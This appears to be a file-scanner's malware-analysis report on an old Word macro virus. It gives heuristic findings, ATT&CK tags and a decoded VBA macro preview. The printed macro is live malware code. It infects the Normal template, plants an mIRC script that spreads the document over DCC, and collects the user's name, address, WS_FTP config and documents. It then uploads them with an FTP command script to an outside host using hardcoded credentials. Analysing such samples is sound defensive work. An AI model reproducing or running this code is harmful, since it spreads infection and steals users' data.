MALICIOUS
348
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
This document contains a malicious VBA macro that executes automatically upon opening, as indicated by the AutoOpen and Document_Open heuristic firings. The macro attempts to download and execute a second-stage payload, evidenced by the critical Shell() call heuristic and the detection of a known malware family (Doc.Trojan.Melissa-17). The script also searches for specific directories and files, suggesting a downloader or dropper functionality.
Heuristics 8
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ClamAV: Doc.Trojan.Melissa-17 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Melissa-17
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 21984 bytes |
SHA-256: c10fa7539adff27029c545c1935a97ed7c44e0a9b0a9fd9d2ae179358dc39f30 |
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Detection
ClamAV:
Doc.Trojan.Sin-4
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
FHUSKIXUBSB: Options.SaveNormalPrompt = False
GMUPAVB: Randomize Timer
SMPLUULM: LordArz = "Technological Illusions"
OOOOOO = UUUUUU
CFUTJHUEDFO: NormInstalled = False
WEXYEXFSEF: ActInstalled = False
WWLEASRN: Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule
P = II
FTHPOBOK: Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule
MUAVFYVTLP:
FOUAVMSNNUA: NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
DKHRQWTMY: AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
GBFSIOFIEK:
YIOYNCKGJRK: If UCase(NI) = "ON ERROR RESUME NEXT" Then NormInstalled = True
VVGHWNDVNRP: If UCase(AI) = "ON ERROR RESUME NEXT" Then ActInstalled = True
FLNGWGMF:
YGKRRUA: If NormInstalled = False Then
CXLBDBWTKFR: Set Infection = NormCarrier
MYXEQPOR: Set Carrier = ActCarrier
MMM = WWW
RYOLEK: Else
YFHSPSPGOJ: Set Infection = ActCarrier
CDLDJGIYU: Set Carrier = NormCarrier
KPUNGOUGIE: End If
LBNVPIRNG:
ECBMAUO:
GNTIWQIGMVB:
TVVYFXCQFKS: DoEvents
WWWWW = RRR
NESQKHFD:
OCVIRI: Close
RJQONLUA: Tr1 = Dir(CurDir & "\script.ini", vbNormal)
YAKWQOFDH: Tr2 = UCase(Right(CurDir, 8))
PPPPPP = OOOOOO
DPMTMCQAYH: Tr3 = Dir("C" & Chr(58) & "\MIRC", vbDirectory)
CKYPUICTVV:
DDDDDD = MMMMMM
TXRMBWKVVC: If Tr1 <> "" Then SDir = CurDir & "\script.ini"
DMXARFM: If Tr2 = "DOWNLOAD" Then SDir = CurDir & "\..\Script.ini"
KENUEHFST: If Tr3 <> "" Then SDir = "C" & Chr(58) & "\MIRC\Script.ini"
GGIWCFLSD:
PARODYH: If SDir <> "" Then
WUOMMQKHFL: Open SDir For Output As #1
SVIHHCB: Print #1, "n0=on 1" & Chr(59) & "JOIN" & Chr(59) & "#" & Chr(59) & "if ( $me != $nick ) { /dcc send $nick " & ThisDocument.FullName & " }"
AMKUMTXORTJ: Close #1
SKNHHL: End If
NJWTRAXB: DoEvents
VAWAQJWDEJJ:
QCBODS: WinPath = Environ("WINDIR")
JJ = VV
AHHCQOX:
KORWJNJKEG: If Application.Tasks.Exists("Sockets Window") = True And System.PrivateProfileString("", "HKEY_CURRENT_USER\Software", "") = "" Then
YFHFSE: With Application.FileSearch
CCCC = RRR
AJYKITXFW: .FileName = "WS_FTP.ini"
OPXVWA: .LookIn = "C" & Chr(58) & "\"
BWRIOEHGVJV: .SearchSubFolders = True
SQRVFIKLGW: .MatchTextExactly = True
ACHSWBVWEHJ: .FileType = msoFileTypeAllFiles
QDNMXADLHKM: .Execute
QNKFPOYU: WsPath = .FoundFiles(1)
QQKGGS: End With
AMSFWLF:
QHXFRK: DoEvents
QBXXVQV:
RPMUYO: If ActiveDocument.HasPassword = True Then BCK = True
GKYFAL:
MPDAGG: DoEvents
LPFAVEMQW: Open WinPath & "\" & Application.UserName & ".dat" For Output As #10
JWILUVRD: Print #10, Application.UserName
K = PP
DVEWYTD: Print #10, Application.UserAddress
ICPAJP: If BCK = True Then Print #10, ActiveDocument.FullName
HCKNQVQNT: If WsPath <> "" Then Print #10, "WS_FTP"
XUSNYTXYPFR: Close #10
PPPPPP = PPPPP
UGOCOVFE: Open WinPath & "\Command.$$$" For Output As #8
VMHQLBVRQ: Print #8, "o ftp.xoom.com"
CDGXMEQ: Print #8, "User SingOfScream"
MMQUKVSIXHQ: Print #8, "Pass DIG001"
CDCDTGSSV: Print #8, "binary"
BBB = XXXXXX
CTKKXEVQSGC: Print #8, "put " & Application.UserName & ".dat"
XFUYWRR: If WsPath <> "" Then Print #8, "put " & WsPath
XEWXWR: If BCK = True Then Print #8, "put " & ActiveDocument.FullName
BCTVRVNMG: Print #8, "quit"
WCVRDJBGJJ: Close
FUGILSRSHF: Shell WinPath & "\FTP.exe -n -s:Command.$$$"
KUCANVEQ: MsgBox "file sent"
JCXAAM: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software", "") = "Your PC is infected (UP THE IRONS)"
JBYUHEAUF: End If
J = C
EXYILKMVPUB: For x = 1 To ThisDocument.Variables.Count
AXQQAD:
... (truncated)
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